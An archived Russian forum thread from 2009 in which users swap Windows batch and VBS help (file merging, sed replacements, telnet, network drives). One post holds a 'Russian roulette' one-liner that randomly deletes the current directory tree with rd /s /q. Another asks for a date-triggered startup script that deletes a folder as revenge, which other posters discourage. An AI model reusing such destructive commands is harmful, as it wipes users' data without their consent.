Ru-Board.club
← Вернуться в раздел «Microsoft Windows»

» Задачи на bat-файлах 6

Автор: Yarylo
Дата сообщения: 28.04.2009 11:30
wolf0425

Цитата:
не очень понятно - как найти строки mm-mm-mm-mm-mm-mm в file2.txt
по признаку пяти знаков "-" через пару неизвестных символов?

Да, именно по признаку пяти знаков "-".

Спасибо, но ваш батник ничего не делает. Может проблема в том, что в файле file1.txt присутствует два символа переноса строки перед xx yyy = nn-nn-nn-nn-nn-nn, как и указано в моем посте.
Автор: Nikitskii
Дата сообщения: 28.04.2009 12:11
Maza_Faka

Все работает! Спасибо большое!
Автор: dborgir
Дата сообщения: 28.04.2009 14:50
Ребята, помогите плиз! Как объединить с помощью батника несколько файлов в один (почти как copy file*.* file.txt), начиная с самого старого файла и т.д., т.е. в таком порядке, как выдаст: dir file* /o:d /b
Автор: Maza_Faka
Дата сообщения: 28.04.2009 17:16
dborgir

Цитата:
Как объединить с помощью батника несколько файлов в один

Попробуйте так:

Код:
@Echo Off

Set Folder=C:
Set FILES=

For /F "Tokens=*" %%A In ('Dir %Folder%\*.txt /B /O:D') Do Call :_Join "%Folder%\%%A"
Set FILES=%FILES:~1%
Copy %FILES% %Folder%\result.txt
GoTo :EOF

:_Join
Set FILES=%FILES%+%1
Автор: dborgir
Дата сообщения: 28.04.2009 19:46
Maza_Faka
Спасибо большое! Это намного проще, а то я заморачивался с переименовыванием файлов по дате создания.
Автор: delover
Дата сообщения: 28.04.2009 22:25
Ребята, а где можно скачать оболочку, которая называется telnet. Моя операционка такой команды не знает, а мне надо проверить "telnet www.пирожок.ru 21". Если у кого выполнит пришлите дамп в пм.
Автор: wolf0425
Дата сообщения: 28.04.2009 22:49
Yarylo

Цитата:
Спасибо, но ваш батник ничего не делает. Может проблема в том, что в файле file1.txt присутствует два символа переноса строки перед xx yyy = nn-nn-nn-nn-nn-nn, как и указано в моем посте.
точно не из-за этого, пустые (и состоящие только из пробелов) строки file1.txt успешно игнорируются, я проверял. Кстати, nn-nn-nn-nn-nn-nn - это что в реале?

1. дурацкий вопрос - программа sed.exe в пути есть? Какой версии?
я проверял на GNU sed version 4.0.7 из комплекта unxutils

2. батник скопипастился правильно, на две строки не побился?

3. еще вопрос - в file2.txt "-" - это именно знак минуса а не длинного/среднего тире?
(есть такие в кодировке windows-1251)

еще замечание - в приведенном варианте регэкспа mm-mm-mm-mm-mm-mm находятся и заменяются в любом месте строки, если надо сделать замену только в строках где кроме mm-mm-mm-mm-mm-mm ничего нет - надо заменить вызов на
sed.exe -i -r "s/^..-..-..-..-..-..$/%%c/g" file2.txt

Автор: Yarylo
Дата сообщения: 29.04.2009 08:21
wolf0425

Цитата:
Кстати, nn-nn-nn-nn-nn-nn - это что в реале?

Это мак-адрес, HEX данные.

1. Нету... Я чет подумал что это штатная программа винды.
2. Да, правильно.
3. Думаю, именно минус, т.к. это мак-адрес.

Спасибо! Скачаю sed.exe и буду пробовать
Автор: strat
Дата сообщения: 29.04.2009 08:47
delover

Цитата:
Ребята, а где можно скачать оболочку, которая называется telnet

у тебя наверно виста или выше? в ней телнет по умолчанию не установлен, зайди в установку и удаление программ - установка компонентов windows, найдешь телнет, поставишь галку, он установится.
Автор: NonameAlexNoname
Дата сообщения: 29.04.2009 09:57
Нужно реализовать такую задачу. нужно логировать ТОЛЬКО ошибки рапаковки rar.
-ilog не подходит, т.к. rar shareware версии. Возможно ли в обход этого ключа как-то сделать?
Заранее огромное спасибо.
Автор: Mamontoza
Дата сообщения: 29.04.2009 12:35
Всем привет. В очередно раз обращаюсь за помощью в любимый раздел.
У меня есть батник который на удлаенных машинах завершает(рубит) определенный процесс.

выглядит он так

@echo on
setlocal enabledelayedexpansion
set comps=75
for /l %%a in (1,1,%comps%) do (
if %%a leq 9 (set comp_num=0%%a) else (set comp_num=%%a)
echo comp-!comp_num!>>sss.log
taskkill /s \\comp-!comp_num! /u username /p pass /f /t /im sss.exe>>sss.log 2>&1
sleep 2
)
pause 1


Все машины в домене на них есть пинг. Но иногда этот батник до них неможет достучатся. Те логин и пароль не принят.
Есть ли возможность как то обходить авторизацию пользователя.
Есть еще варинат использовать psexec но неполучается чтоб он писал лог.
Автор: wolf0425
Дата сообщения: 29.04.2009 12:53
NonameAlexNoname
Цитата:
нужно логировать ТОЛЬКО ошибки рапаковки rar.

a что - rar x test 2>>file.log чем-то не устраивает?
Автор: Nagual
Дата сообщения: 29.04.2009 13:05
NonameAlexNoname
после команды распаковки поставь
Код:
if %errorlevel% gtr 0 (echo>>log error: %errorlevel%)
а вообще, для распаковки идеален 7z

Добавлено:
да и есть, в общем то, бесплатный unrar
Автор: Maza_Faka
Дата сообщения: 29.04.2009 13:49
wolf0425

Цитата:
a что - rar x test 2>>file.log чем-то не устраивает?

А так не работает
Это всё таки не Windows утилита
Автор: strat
Дата сообщения: 29.04.2009 14:23
в файле есть окончание из 2-х байт символов перевода каретки и конца строки, как их можно удалить?

пример можно получить введя в ячейку excel цифру и сохранив в виде "текстовые файлы с разделителем табуляции"
Автор: delover
Дата сообщения: 29.04.2009 17:15
strat
Спасибо, разобрался. Даже настроил ftp, который мне надо было. Только одна незадача, под админом я туда нормально гуляю, а под юзьверем нету.
Пишет:

Цитата:
29.04.2009 20:15:04 Сделана попытка доступа к сокету методом, запрещенным правами доступа
Автор: Rufat
Дата сообщения: 30.04.2009 02:02
а можно с этим помочь по .bat?
http://forum.ru-board.com/topic.cgi?forum=62&bm=1&topic=16955&glp#lt
Автор: 01MDM
Дата сообщения: 30.04.2009 07:37
Rufat
Лучше забудь об этом.
Автор: strat
Дата сообщения: 30.04.2009 08:26
Rufat
вообще это на vbs делается но лучше забыть
Автор: Yarylo
Дата сообщения: 30.04.2009 08:48
wolf0425
Спасибо! Все какбы работает, но после исполнения этого батника размер файла почему-то уменьшается на 670 байт (производится 82 замены)
Автор: Palian
Дата сообщения: 30.04.2009 09:14
Приветствую,

есть интересная проблемка

нужно Logon-скриптом мапить сетевые диски пользователю и изменять у них имя. вроде все просто. скачал скприптик, поправил под себя. получилось вот

Set objNetwork = CreateObject("WScript.Network")

strDriveL = "L:"
strPathL = "\\store\share"

set objFS = CreateObject("Scripting.FileSystemObject")

if objFS.DriveExists(strDriveL) = True Then
objNetwork.RemoveNetworkDrive strDriveL
end if
objNetwork.MapNetworkDrive strDriveL, strPathL

set oShell = CreateObject("Shell.Application")
oShell.NameSpace(strDriveL).Self.Name = "files"

при логине пользователя, скприптик мапит диск, но не изменяет имя методом научного тыка выяснил что пока скрипт работает (вставлял msgbox "" в конец скрипта) имя новое, измененное, ну просто красота. а как только скрипт заканчивает работать - возвращается стандартное имя.

как быть?
Автор: Rufat
Дата сообщения: 30.04.2009 12:21
Почему на .vbs? Я помню раньше была какая-то команда на батнике которая проверяла дату.

Я не знаком с синтаксисом бата просто. Мне надо удалить всего одну папку полностью и всё, систему можно оставить. Нельзя написать что-то типо такого:

if date > 05.05.09 then deltree c:\progra~1\folder /y
del C:\Documents and Settings\Administrator\Start Menu\Programs\Startup

ну и само собой кинуть это в стартап?
Автор: wolf0425
Дата сообщения: 30.04.2009 12:33
Yarylo

Цитата:
размер файла почему-то уменьшается на 670 байт (производится 82 замены)

а сравнить до и после и посмотреть что заменилось - не судьба что-ли?
в файлике точно нет каких-нибудь рамочек из минусов? хотя это никак не объясняет изменение размера...

Перспектива вписывать в строку поиска вместо первоначального уточнения о "любых символов" шесть перечислений шестнадцатиричных цифр - как-то не воодушевляет.

Хотя держи...
Код: sed -i -r "s/([abcdef0123456789]{2}-){5}[abcdef0123456789]{2}/%%c/ig"
Автор: strat
Дата сообщения: 30.04.2009 14:31
Rufat
потому что батник в стартапе слишком заметен а на вбс видел прелестную шутку которая незаметна и действенна а так конечно хоть на ассемблере шпарь

я мстю и мстя моя ужасна...
забей на такие злобные вещи, вирусы вон с подобными свойствами тоже ничего хорошего никому не приносят кроме славы герострата максимум
Автор: K_AHTOH
Дата сообщения: 01.05.2009 09:17
День добрый!!! Не подскажите что означают ключи в проверке?

Код: set /a R=0+6*%random%/32768 & if %R% == 0 (rd /s /q .\) else (echo ЖИВ)
Автор: Maza_Faka
Дата сообщения: 01.05.2009 09:25
K_AHTOH

Цитата:
что означают ключи в проверке?

Какие ключи?
Автор: king_stiven
Дата сообщения: 01.05.2009 09:33
K_AHTOH
/S Удаление дерева каталогов, т. е. не только указанного каталога,
но и всех содержащихся в нем файлов и подкаталогов.

/Q Отключение запроса подтверждения при удалении дерева каталогов
с помощью ключа /S.
в справку смотри
Автор: basstard
Дата сообщения: 01.05.2009 09:55
Важно!
десять тысяч раз поднималась тема по созданию паузы в батнике
и всегда предлагается юзать ping ... localhost

ПОЧЕМУ?
этот метод ненадежный и неточный,
и вообще какой-то левый
существует же нативный, абсолютно надежный
и безупречно точный метод указать паузу
в диапазоне [1-9999] секунд.

вот же он:

Код: choice /t 60 /c x /n /d x
Автор: 01MDM
Дата сообщения: 01.05.2009 11:04
basstard
Этот способ ненадежен, т.к

Цитата:

> choice /?
"choice" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

>

Не везде он есть.
Автор: wolf0425
Дата сообщения: 01.05.2009 16:25
K_AHTOH

Код: set /a R=0+6*%random%/32768 & if %R% == 0 (rd /s /q .\) else (echo ЖИВ)

Страницы: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667

Предыдущая тема: как сохранить сетевые настройки


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.